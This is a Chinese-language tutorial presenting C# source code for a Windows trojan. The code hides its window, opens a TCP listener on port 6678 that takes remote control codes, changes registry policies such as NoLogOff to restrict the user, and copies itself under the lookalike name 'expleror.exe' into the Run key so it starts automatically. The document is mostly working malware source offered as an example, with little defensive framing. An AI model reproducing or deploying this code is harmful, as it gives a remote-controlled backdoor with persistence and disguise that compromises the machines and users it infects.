基于C#实现的木马程序实例详解

private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = "Form1";
//设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定，我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程，如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数，此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}

private void reControlCode()
{
//设置接收套接字，接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能
//修改注册表加入编码
switch (ss)
{
case "jiance"://测试连接，返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函数，自已定义，见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;
case "zx0100":
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样，略掉
default:
break;
}//case
}//while
} //private void reControlCode

private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值，canwrite 为true则可修改，默认为fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);
//设置子键的键名，和值
key1.SetValue ("NoLogOff",1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改！请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改！请将它置为0!";
}
catch{}
}
}

private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名，destFileName为文件的新路径
File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
}
catch {}
//将新移的木马程序设为自启动。分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()